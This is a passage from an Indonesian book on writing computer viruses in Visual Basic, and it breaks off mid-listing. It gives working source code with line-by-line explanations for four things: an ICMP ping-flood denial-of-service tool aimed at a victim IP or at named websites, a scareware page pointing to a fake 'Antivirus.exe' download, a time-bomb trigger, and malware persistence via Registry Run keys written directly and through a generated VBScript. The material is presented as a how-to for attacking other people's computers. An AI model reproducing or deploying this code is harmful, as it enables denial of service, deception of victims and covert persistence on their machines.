ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long

Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As


Integer) As Long

Dim hPort As Long


Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS

sDataToSend =
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"
&_

"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikoo" & _

"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikoo"

dwAddress = AddressStringToLong(szAddress)

hPort = IcmpCreateFile()

109
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If

Call IcmpCloseHandle(hPort)

End Function

Public Function AddressStringToLong(ByVal tmp As String) As Long


Dim i As Integer
Dim parts(1 To 4) As String

i=0

While InStr(tmp, ".") > 0


i=i+1
parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend
i=i+1
parts(i) = tmp
If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If
AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
Right("00" & Hex(parts(3)), 2) & _
Right("00" & Hex(parts(2)), 2) & _
Right("00" & Hex(parts(1)), 2))
End Function
‘////////////AKHIR SOURCE KODE MODUL/////////////////////////////////////////////

110
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

5. Selanjutnya pastikan komputer anda terhubung jaringan.


6. Untuk pembuktian lihat di kanan bawah monitor anda ada
icon network atau gambar 2 komputer seperti pada gambar
di bawah ini :

7. Klik 2 kali icon tersebut maka akan muncul aplikasi Local


Area Connection Status, seperti pada gambar berikut :

111
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

8. Pada tulisan Pakcets perhatikan angka yang keluar dan


catat angka tersebut, kalau seperti pada gambar ini adalah
6,153 ( menunjukkan ukuran file yang dikirim ke komputer
lain) dan 6,075 (menunjukkan ukuran file yang diterima
dari komputer lain).
9. Kemudian kembali ke Visual Basic atau project kita tadi.
10. Tekan tombol ‘F5’ atau tombol run pada visual basic.
11. Akan muncul aplikasi seperti gambar di bawah ini:

112
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

12. Masukkan IP yang akan diserang, kemudian klik tombol


‘Serang!!!’.
13. Perhatikan Aplikasi Local Area Connection Status, jika
angka yang anda catat tadi berubah, maka penyerangan
berhasil, tetapi jika tidak , mungkin ada kesalahan pada
jaringan, coba cek kembali kabel, hub atau lancard (kartu
jaringan) anda.

113
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Penjelasan Kode:

Source kode melakukan DoS Attack pada dasarnya hanya


mengeksekusi fungsi ping yang dibuat. Sedangkan fungsi lain
hanya sekedar fungsi tambahan untuk melakukan error handle atau
penanganan error.

114
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Function Ping(szAddress As String, ECHO As


ICMP_ECHO_REPLY, TTL As Integer) As Long

- Awal dari sub program yaitu dengan mendefinisikan fungsi ping

Dim hPort As Long

- Mendefinisikan variabel hPort dengan jenis Long Integer

Dim dwAddress As Long


- Mendefinisikan variabel dwAddress dengan jenis Long Integer

Dim sDataToSend As String


- Mendefinisikan variabel sDataToSend dengan jenis String

Dim iOpt As ICMP_OPTIONS


- Mendefinisikan variabel iOpt dengan jenis ICMP_Options, tipe
sebelumnya telah didefinisikkan di modul

sDataToSend =
"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikoo" & _

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

115
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookiko
okikookikookikookikookikookikookikookikookikoo" &
_

"kikookikookikookikookikookikookikookikookikookikookikoo
kikookikookikookikookikookikookikookikoo"

- Mengisi Variabel sDataToSend dengan karakter


“kikookikookikoo”…dst. Karakter tertsebut bisa anda ganti sesuai
dengan selera. Semakin banyak karakter yang diberikan semakin
besar pula file sampah yang akan dikirimkan ke komputer korban.
Dengan jumlah karakter sebanyak ini, ukuran file yang dikirimkan
korban sekitar 824 kb, jika kita lakukan 2 kali pengiriman saja
sudah sekitar 1,6 MB jika 20 kali sekitar 16 MB, jika 200 kali
menjadi 160 MB, jika….halah terusin sendiri lah….

dwAddress = AddressStringToLong(szAddress)

116
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Mengisi variabel dwAddress dengan fungsi AddressStringToLong


yang berguna untuk mengatasi error jika ip address terlalu panjang,
maksudnya begini, IP address kan terdiri dari angka-angka, jika dan
tiap angka hanya boleh ditulis sampai 255 (karena IP address kelas
terakhir adalah 255.255.255.255). Terkadang orang salah menulis
misalnya ingin menulis 27 malah menulis 277, sehingga harus ada
penanganan error dengan memberi peringatan jika nilai IP address
keluar dari 255.

hPort = IcmpCreateFile()

- Mengisi variabel hport dengan fungsi IcmpCreateFile

ECHO.Options.TTL = TTL
- Mengisi variabel ECHO.Options.TTL dengan isi time to live

iOpt.TTL = TTL
- Mendefinisikan variabel hPort dengan jenis Long Integer

If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
- Jika kondisi IcmpSendEcho mendapat balasan atau reply dari
komputer korban berupa nomor port, alamat IP, data yang dikirim,
ukuran data yang dikirim dan waktu pengiriman maka kerjakan
perintah selanjutnya

117
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Ping = ECHO.RoundTripTime
- Mengisi variabel ping dengan pembulatan waktu pengiriman data
ke komputer korban, misalnya waktunya 2,156 detik maka akan
dibulatkan menjadi 2 detik

Else
- Jika kondisi IcmpSendEcho tidak memenuhi, maka kerjakan
perintah di bawah ini

Ping = ECHO.status * -1
- Mengisi variabel ping dengan status tidak berhasil karena tidak
ada balasan dari komputer korban, bisa jadi komputer ada firewall-
nya atau komputer sedang down.

End If
- Akhir dari perintah If

Call IcmpCloseHandle(hPort)

- Memanggil fungsi penanganan icmp

End Function
- Akhir dari fungsi

Sedangkan source kode yang berada di form yang berguna untuk


menjalankan fungsi ping tersebut akan dijelaskan sebagai berikut :

Private Sub Command1_Click()

- Awal dari Sub

118
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dim ECHO As ICMP_ECHO_REPLY


- Mendefinisikan variabel ECHO dengan jenis
ICMP_ECHO_REPLY, jenis tersebut sudah terlebih dahulu
didefinisikan pada source code module

Dim angka As Long


- Mendefinisikan variabel angka dengan jenis Long

For angka = 1 To 65000


- Fungsi perulangan yang berguna untuk melakukan ping secara
berulang-ulang agar lalu-lintas jaringan korban menjadi padat.
Angka 65000 dapat diganti sesuai dengan jumlah penyerangan
yang diinginkan

Call Ping(text1.text, ECHO, 30)

- Memanggil fungsi ping

Next angka
- Akhir perintah for..do

End Sub
- Akhir dari sub

Private Sub Form_Load()

- Awal dari event form

Text1.Text = "192.168.17.69"
- Mengisi textbox dengan ip “192.168.17.69”, anda dapat mengganti
alamat ip sesuai dengan nomor atau alamat ip komputer yang akan

119
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

diserang, dapat diganti dengan nama situs misalnya


www.yahoo.com , www.white-house.gov , www.apaaja.co.id , dan
lain-lain

End Sub
- Akhir dari event form

Kode Menampilkan Pesan Sponsor

Kode menampilkan pesan sponsor berguna untuk


menampilkan pesan pembuat virus. Terserah pesannya ingin
‘berterima kasih’ kepada koruptor-koruptor di Indonesia,
berterimakasih pada pembuat windows, atau ingin
memperkenalkan diri kita. Ya sebenarnya membuat virus juga bisa
mempromosikan komunitas kita, atau perusahaan kita (itung-itung
iklan gratis euy!). Caranya mas ? Oke…ikuti petunjuk berikut ini :

1. Buat projek baru di visual basic yang terdiri dari satu form,
satu module dan satu button atau tombol.
2. Copy source code di bawah ini sesuai dengan
ketentuannya, kalau source code yang harus dikopikan ke
module ya ditulis di module, kalau source kode yang harus
dikopikan ke form ya di tulis di form. Anda dapat melihat
source code-nya di CD letaknya di direktori \kode
manipulasi\Pesan Sponsor dengan nama file Project1.vbp.

120
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘/////////awal source kode di form


rivate Sub Command1_Click()
Dim tt As String
tt = """"
Log "<html> <body> komputer anda kena virus, silahkan donlot di situs ini <h2> <a href=" &
tt & "http://www.dinamikasolusi.tk/" & tt & "> Antivirus.exe</h2> </body> </html>"
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x) & "/help.htm",
vbNormalFocus
End Sub
‘/////////Akhir source kode form

121
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘///////////////awal cource code module

Option Explicit

Public buffer As String * 255


Public x As Long

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias


"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) _
As Long

Public Sub Log(strLog As String)


Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next


Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

‘///////////////akhir cource code module

122
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Setelah selesai tekan tombol ‘F5’ atau tombol run yang ada
di Visual Basic. Kemudian akan muncul kotak kecil seperti
pada gambar berikut ini.

4. Klik tombol ‘OK’, apa yang terjadi, jika benar anda dapat
melihat pesan sponsor seperti pada gambar berikut ini.

123
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Nah disinilah diuji keindahan anda, pesan sponsor


sebaiknya tidak hanya kalimat yang berjumlah sedikit seperti di
atas, tetapi ungkapan hati seorang programmer, misalnya cinta
yang ditolak, kebutuhan dapur, atau apa aja. Yang penting
indah-indah dan mengajak kita untuk ke kebaikan, kalau ingin
romantis contoh virus hallo.roro.htt atau virus kangen yang
menampilkan pesan dan puisi-puisi cinta. Pokoknya di dunia
cyber CINTA DITOLAK VIRUS BERTINDAK…gitu kan
lebih asik dibanding dukun yang bertindak. Lebih intelek dan
berteknologi gitu…☺, jika ingin lebih radikal contoh virus
w32.rontokbro@mm yang menyuruh para koruptor di
Indonesia untuk menghentikan aksi kejahatannya.

124
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Penjelasan Kode:

Private Sub Command1_Click()


- Awal dari sub

Dim tt As String
- Mendefinisikan tt sebagai variabel jenis string

tt = """"
- Mengisi variabel tt dengan petik dua

Log "<html> <body> komputer anda kena virus,


silahkan donlot di situs ini <h2> <a href=" &
tt & "http://www.dinamikasolusi.tk/" & tt &
"> Antivirus.exe</h2> </body> </html>"
- Kode ini harus ditulis bersambung, tidak dipisah dengan
berlainan baris, berfungsi untuk memanggil fungsi ‘Log’ yang
berguna untuk membuat file help.htm, anda bisa mengganti
isinya sesuai dengan selera anda misalnya Log “Hati-hati di
jalan”, maka file help.htm akan berisi kalimat “Hati-hati di
jalan”. Ngerti kan…
fungsi ‘Log’ akan diterangkan pada pembahasannya
selanjutnya

Shell "C:\Program Files\Internet


Explorer\IEXPLORE.EXE " & Left(buffer, x) &
"/help.htm", vbNormalFocus

125
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Memanggil file help.htm untuk menampilkan pesan sponsor


berupa file .htm

End Sub
- Akhir dari sub

Option Explicit
- Awal dari modul

Public buffer As String * 255


- Mendefinisikan buffer sebagai variabel public (bisa diakses
oleh fungsi dan sub manapun) selama masih dalam satu
project dengan jenis string

Public x As Long
- Mendefinisikan x sebagai variabel public (bisa diakses oleh
fungsi dan sub manapun) selama masih dalam satu project
dengan jenis Long

Private Declare Function GetWindowsDirectory


Lib "kernel32" Alias "GetWindowsDirectoryA"
(ByVal lpBuffer As String, ByVal nSize As
Long) As Long
- Memanggil fungsi Windows API yang berguna untuk
mengetahui dimana direktori windows diinstall, suatu
kemudahan yang diberikan oleh microsoft dan sering
disalahgunakan oleh pihak-pihak yang tak bertanggung
jawab (Halah…kayak nggak nggaknya aja he…he..he..he!)

126
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Sub Log(strLog As String)


- Mendefinisikan Fungsi Log yang harus diisi oleh variabel
strLog (berjenis string), jadi fungsi log mempunyai sintaks
atau bentuk umum Log “isi file yang ingin dibentuk”

Dim ff As Integer
- Mendefinisikan ff dengan jenis integer

ff = FreeFile
- Mengisi variabel ff dengan Freefile atau file kosong

x = GetWindowsDirectory(buffer, 255)
- Mengisi variabel x dengan direktori dimana windows
terinstall, jika windows terinstall di drive c: direkti windows
maka isi x adalah ‘c:\windows’

On Error Resume Next


- Melanjutkan proses jika terjadi kesalahan atau error (error
handle atau penanganan kesalahan yang dibuat microsoft,
juga sering dipakai oleh pihak-pihak yang tidak bertanggung
jawab)

Open Left(buffer, x) & "\help.htm" For Output As


#ff
-Membuat file baru help.htm. Jika pilihannya For Output As
#ff maka file akan ditumpuk. Jika pilihannya For Append As
#ff maka file akan di-append atau disambung dengan file
sebelumnya. MAKSUDNYA????? Misalnya file help.htm berisi
karakter ‘abcd’. Jika pilihannya For Output As #ff maka file
akan ditumpuk, sehingga bila kita melakukan pembuatan file

127
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

help.htm dengan isi ‘efgh’, maka file tersebut berisi ‘efgh’.


Tapi jika pilihannya For Append As #ff maka isi file help.htm
adalah ‘abcdefgh’. Gitu….NGERTI KAN!!! KALO GAK NGERTI
MBOK COBA SENDIRI!!!!

Print #ff, strLog


- Mengisi file dengan isi varibel strLog. Jadi seperti di atas
kita melakukan pemanggilan fungsi ‘Log’ dengan perintah
Log "<html> <body> komputer anda kena virus, silahkan
donlot di situs ini <h2> <a href=" & tt &
"http://www.dinamikasolusi.tk/" & tt & ">
Antivirus.exe</h2> </body> </html>" maka yang terjadi isi
file help.htm adalah <html> <body> komputer anda kena
virus, silahkan donlot di situs ini <h2> <a href=" & tt &
"http://www.dinamikasolusi.tk/" & tt & ">
Antivirus.exe</h2> </body> </html>.

Close #ff
- Menutup file

End Sub
- Akhir dari sub

Kode Pemicu

128
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Fuahhh!!! Sampai juga kita ke pembahasan kode pemicu.


Kode ini berguna untuk mengaktifkan program virus atau sub
program virus secara otomatis. Jadi kita tidak perlu mengaktifkan
virus kita dengan mendatangi komputer yang akan diinfeksi satu
per satu. Cukup dengan mengaktifkan kode pemicu, maka virus
akan otomatis berjalan di komputer yang terinfeksi. Kode Pemicu
terbagi empat metode yaitu :

1. Metode Pewaktu
2. Metode Registry Windows
3. Metode File VBScript
4. Metode Gabungan RegScript

Metode Pewaktu

Metode pewaktu bekerja seperti bom (Bom lagi…bom


lagi, apa gak ada contoh lain?!…wah kebetulan gak ada mas…).
Misalnya kita ingin bom meledak pada jam 9.00. Maka kita harus
menyetting pewaktu atau pemicu pada bom yang terhubung dengan
jam atau hp (handphone) dengan angka 9. Begitu jam atau waktu di
hp menunjukkan pukul 9, TAK, TIK, BOOOMM!!! Maka akan
meledaklah bom tersebut, demikian pula dengan virus. Misalnya
kita ingin mengaktifkan virus kita tiap hari Minggu jam 09.00.
Langkah pertama adalah mengetahui waktu (hari, jam dan menit)
dari komputer yang terinfeksi. Kemudian dicocokkan dengan hari,
jam dan menit yang ada pada program virus.Maka TAK, TIK,
KRICIK KRICIK!…….. (kira-kira begitu bunyinya kalau virus

129
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

sedang melakukan proses). Heu…Jayus!!!! Oke lanjut untuk


pembuatan programnya, ikuti langkah – langkah berikut :

1. Buat projek baru di visual basic yang terdiri dari satu form,
satu module dan satu button atau tombol.
2. Copy source code berikut ini. Anda bisa melihat source
code-nya di CD pada direktori \kode pemicu dengan nama
file Project1.vbp

Private Sub Command1_Click()


Dim x
Dim y
Form1.WindowState = 1
ulang:
x = Format(Now, "dd/mm/yyyy")
y = Format(Time, "hh:mm:ss")

If x = "23/11/2005" and y = "07:06:00" Then


MsgBox "DUARRRRR!!!", 0, "TIK TUK"
Exit Sub
Else
Set x = Nothing
Set y = Nothing
GoTo ulang
End If

End Sub

130
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Penjelasan Kode:

Private Sub Command1_Click()


- Awal dari sub

Dim x
- Definisi variabel x

Dim y
- Definisi variabel y

Form1.WindowState = 1
- Me-minimize program

ulang:
- Penanda jika kondisi yang diinginkan tidak ditemukan maka
fungsi akan mengulang proses dimulai dari penanda ini.

x = Format(Now, "dd/mm/yyyy")
- Mengisi variabel x dengan tanggal yang mempunya format
“tanggal/bulan/tahun”

y = Format(Time, "hh:mm:ss")
- Mengisi variabel y dengan waktu yang mempunyai format
“jam:menit:detik”

131
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

If x = "23/11/2005" and y = "07:06:00" Then


- Kondisi jika x menunjukkan tanggal 23 bulan 11 tahun
2005 dan menunjukkan jam 07 menit 06 detik 00 maka virus
akan diaktifkan. Anda bisa merubah tanggal dan jam sesuai
dengan selera. Sebaiknya rubah tanggal menjadi tanggal
yang sama dengan tanggal komputer anda dan jam sesuai
dengan jam pada komputer anda ditambah satu menit.
Misalnya di komputer anda menunjukkan jam 5 lewat 7
menit, maka rubah source kode tersebut pada jam 5 lewat 8
menit atau “05:08:00”, dan tunggu outputnya.

MsgBox "DUARRRRR!!!", 0, "TIK TUK"


- Menampilkan message box untuk menandakan bahwa virus
aktif, dapat diganti kode virus yang ingin diaktifkan

Exit Sub
- Setelah mengerjakan perintah di atas, langsung keluar

Else
- Jika kondisi tanggal dan jam tidak terpenuhi maka program
virus akan mengerjakan perintah di bawahnya

Set x = Nothing
- Mengosongkan variabel x, agar memory yang dipakai oleh
program virus tidak terlalu banyak

Set y = Nothing

132
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Mengosongkan variabel y, agar memory yang dipakai oleh


program virus tidak terlalu banyak

GoTo ulang
- Kembali ke penanda “ulang:” untuk mengulangi proses jika
kondisi tanggal dan jam tidak terpenuhi

End If
- Akhir dari IF

End Sub
- Akhir dari sub

Metode Registry Windows

Ngerti kan sekarang. Pokoknya disitu terkandung file-file


untuk mengatur systemnya windows, istilahnya jantungnya
windows. Untuk memicu file virus kita secara otomatis, kita harus
meletakkan perintah atau key di :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

Atau di :

133
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

Bagaimana cara melakukannya? Mohon ikuti langkah berikut:

1. Buat project dengan 1 form, 1 modul, dan 1 tombol atau


button
2. Copy source code di bawah ini sesuai keterangannya, kalau
source code modul ya di-copy ke modulnya, kalau source
code di form copy ke formnya, atau kalau malas ngetik,
lihat di CD source codenya di direktory ‘kode
pemicu\Metode Registry Windows’. Kemudian buka file
project-nya. Okeh…

134
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘//////////////////////////AWAL KODE FORM/////////////////////////////////////////////////////


Private Sub Command1_Click()
Dim newopen As Long
Dim secattr As SECURITY_ATTRIBUTES
Dim hKey, hkeyb As Long
Dim retval As Long
Dim nilai As String
Dim nl_angka As Long
Dim subkey As String

secattr.lpSecurityDescriptor = 0
secattr.bInheritHandle = True
secattr.nLength = Len(secattr)

nilai = "c:\windows\tes.exe"
nl_angka = 1
subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE,


hKey)
retval = RegSetValueEx(hKey, "teserror", 0, REG_SZ, nilai, Len(nilai))
retval = RegCloseKey(hKey)
End Sub
‘///////////////////////////////AKHIR KODE FORM/////////////////////////////////////////////////////////////

135
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘//////////////////////////////////AWAL KODE MODUL////////////////////////////////////////////

Public Type SECURITY_ATTRIBUTES


nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Const HKEY_CLASSES_ROOT = &H80000000


Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_DYN_DATA = &H80000006
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const HKEY_USERS = &H80000003

Public Const KEY_ALL_ACCESS = &HF003F


Public Const KEY_CREATE_LINK = &H20
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_EXECUTE = &H20019
Public Const KEY_NOTIFY = &H10
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_READ = &H20019
Public Const KEY_SET_VALUE = &H2
Public Const KEY_WRITE = &H20006

Public Const REG_CREATED_NEW_KEY = &H1


Public Const REG_DWORD_BIG_ENDIAN = 5
Public Const REG_DWORD_LITTLE_ENDIAN = 4
Public Const REG_DWORD = 4
Public Const REG_EXPAND_SZ = 2
Public Const REG_LINK = 6
Public Const REG_MULTI_SZ = 7
Public Const REG_NONE = 0
Public Const REG_RESOURCE_LIST = 8
Public Const REG_SZ = 1
Public Const REG_BINARY = 3

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _


"RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias _
"RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions _
136
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, _


phkResult As Long, lpdwDisposition As Long) As Long
Public Declare Function RegSetValue Lib "advapi32.dll" Alias _
"RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal _
dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As String, ByVal cbData As Long) As Long

‘//////////////////////////////////AKHIR KODE MODUL////////////////////////////////////////////

Pada sub bab ini saya akan menjelaskan sedikit tentang


pengkodean di registry windows, mungkin tidak saya kupas
habis….tetapi paling tidak anda dapat memahaminya.

Private Sub Command1_Click()


- Awal dari sub

Dim newopen As Long


- Medefinisikan variabel newopen dengan jenis Long Integer

Dim secattr As SECURITY_ATTRIBUTES

137
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Mendefinisikan variabel secattr dengan jenis


SECURITY_ATTRIBUTES , tipe variabel ini didefinisikan di
source code modul.

Dim hKey, hkeyb As Long


- Mendefinisikan variabel hKey dan hkeyb dengan jenis Long
Integer.

Dim retval As Long


- Mendefinisikan variabel retval dengan jenis Long Integer.

Dim nilai As String


- Mendefinisikan variabel nilai dengan jenis string.

Dim subkey As String


- Mendefinisikan variabel retval dengan jenis Long Integer.

secattr.lpSecurityDescriptor = 0
- Memberi nilai secattr.lpSecurityDescriptor dengan nilai 0 berguna
agar registry dapat diubah.

secattr.bInheritHandle = True
- Memberi nilai secattr.bInheritHandel dengan nilai True
berguna agar handle registry dapat dirubah dan diwarisi oleh
registry di sistem lain.

secattr.nLength = Len(secattr)
- Memberi nilai secattr.nLength dengan nilai jumlah string
dari registry tersebut.

138
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

nilai = "c:\windows\tes.exe"
- Memberi nilai variabel nilai dengan “c:\windows\tes.exe”
berguna untuk memanggil file virus, dapat diisi sesuai
dengan letak dan nama file virus yang akan dijalankan.

subkey =
"Software\Microsoft\Windows\CurrentVersion\Run\"
- Memberi nilai variabel subkey dengan
"Software\Microsoft\Windows\CurrentVersion\Run\" berguna
untuk kunci registry yang diinginkan.

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey,


0, KEY_WRITE, hKey)
- Memberi nilai retval dengan fungsi
RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0,
KEY_WRITE, hKey) untuk membuka kunci registry yang ingin
diberi nilai.

retval = RegSetValueEx(hKey, "teserror", 0, REG_SZ,


nilai, Len(nilai))

- Memberi nilai retval dengan fungsi RegSetValueEx(hKey,


"teserror", 0, REG_SZ, nilai, Len(nilai))
untuk memberi nilai kunci registry yaitu “teserror”.

retval = RegCloseKey(hKey)
- Menutup kunci registry.

End Sub
- Akhir dari sub.

139
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Setelah ditulis kemudian jalankan dengan menekan


tombol F5 atau klik tombol run pada visual basic. Maka akan
muncul kotak aplikasi sebagai berikut :

Klik tombol ‘OK’ .Kemudian buka registry dengan


mengklik start -> run -> ketik ‘regedit’ (tanpa tanda petik) dan
enter. Kemudian klik HKEY_CURRENT_USER -> Software ->
Microsoft -> Windows -> CurrentVersion -> Run. Apa yang
terjadi??? Lihat ada kunci ‘teserror’ kan….lalu lihat
isinya…wuaaaaaaaa…..ternyata tidak seperti yang diinginkan.

Isi Kunci ‘teserror’ malah karakter aneh begitu mas!!


Harusnya kan isinya "c:\windows\tes.exe"…gimana dong!!!ugh!!!
Ini adalah security dari windows (Security Center) atau dari
Antivirus untuk mengacak Registry RUN, memang fungsi

140
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

RegSetValueEx pada windows sering digunakan untuk tindakan


yang tidak bertanggung jawab. Apalagi kalau penulisan registry-
nya pada alamat :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

Dan

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

Tidak apa-apa banyak jalan lain ke roma. Masih banyak


jalan lain untuk membuat kode pemicu…mari kita lanjutkan ke
pembahasan selanjutnya.

Metode VBScript (.vbs)

Nah setelah mencoba Metode di atas tidak berhasil kita


coba metode VB Script atau mengisi registry windows dengan
menggunakan eksekusi file .vbs. Sabar- sabar…….tarik nafas…dan
mari kita mulai… Cukup dengan berbekal file VBS kita dapat
mengeksekusi kode pemicu, yaitu dengan menggunakan fungsi
(Regwrite) di VBS untuk melakukan penulisan nilai ke registry
windows. Sekarang mari kita melakukan percobaan selanjutnya,
yaitu dengan membuat file tes.vbs untuk mengakses dan memberi
nilai registry windows dengan menggunakan fungsi regwrite. Ikuti
langkah berikut ini:

141
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

1. Untuk membuat file ini pastikan ANTI VIRUS dalam


keadaan AKTIF. Buat project dengan 1 form, 1 modul dan
1 button
2. Copy source code dibawah ini sesuai dengan tempatnya,
jika source code modul maka tempatnya di modul, jika
source code form maka tempatnya di form, jika malas
mengetik bisa di buka file dari CD project1.vbp di direktori
kode pemicu\Metode VBScript\Program.

‘///////////////////////Awal Kode Form////////////////////////////////////////////


Private Sub Command1_Click()

Dim tt As String
Dim dan As String

dan = "&"
tt = """"
Log "dim wasu" & vbCrLf & _
"set wasu = CreateObject(" & tt & "WScript.Shell" & tt & ")" & vbCrLf & _
"ss = " & tt & " HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & tt & vbCrLf & _
"dv2 = " & tt & " REG_SZ " & tt & vbCrLf & _
"wasu.Regwrite ss " & dan & " " & tt _
& " tes " & tt & "," & tt & " e:\tes.exe " & tt & ", dv2"

Log2 Left(buffer, x) & "\tes.vbs"

Shell "tes.bat"
End Sub
‘///////////////////////Akhir Kode Form////////////////////////////////////////////

142
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘///////////////////////Awal Kode Modul////////////////////////////////////////////


Option Explicit
Public buffer As String * 255
Public x As Long
Public y As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Sub Log(strLog As String)


Dim ff As Integer
x = GetWindowsDirectory(buffer, 255)
ff = FreeFile
On Error Resume Next
Open Left(buffer, x) & "\tes.vbs" For Output As #ff
Print #ff, strLog
Close #ff
End Sub

Public Sub Log2(strLog As String)


Dim fg As Integer
fg = FreeFile
On Error Resume Next
